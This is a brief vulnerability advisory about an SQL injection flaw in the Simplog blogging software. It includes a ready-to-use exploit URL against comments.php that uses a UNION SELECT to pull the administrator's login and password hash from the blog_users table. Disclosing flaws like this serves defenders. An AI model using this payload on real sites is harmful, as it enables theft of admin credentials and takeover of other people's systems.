Simplog is "a very simple and easy to use blogging product". An SQL injection vulnerability has been discovered in the Simplog product allowing a remote attacker to insert arbitrary SQL statements into the existing queries used by the product.
Exploit:
The following URL can be used to retreive the HASHed password of the adminstrator user: <host>/<path>/comments.php?op=edit&cid=1 union select 9,9,9,login,9,password,9,9 from blog_users where admin=1
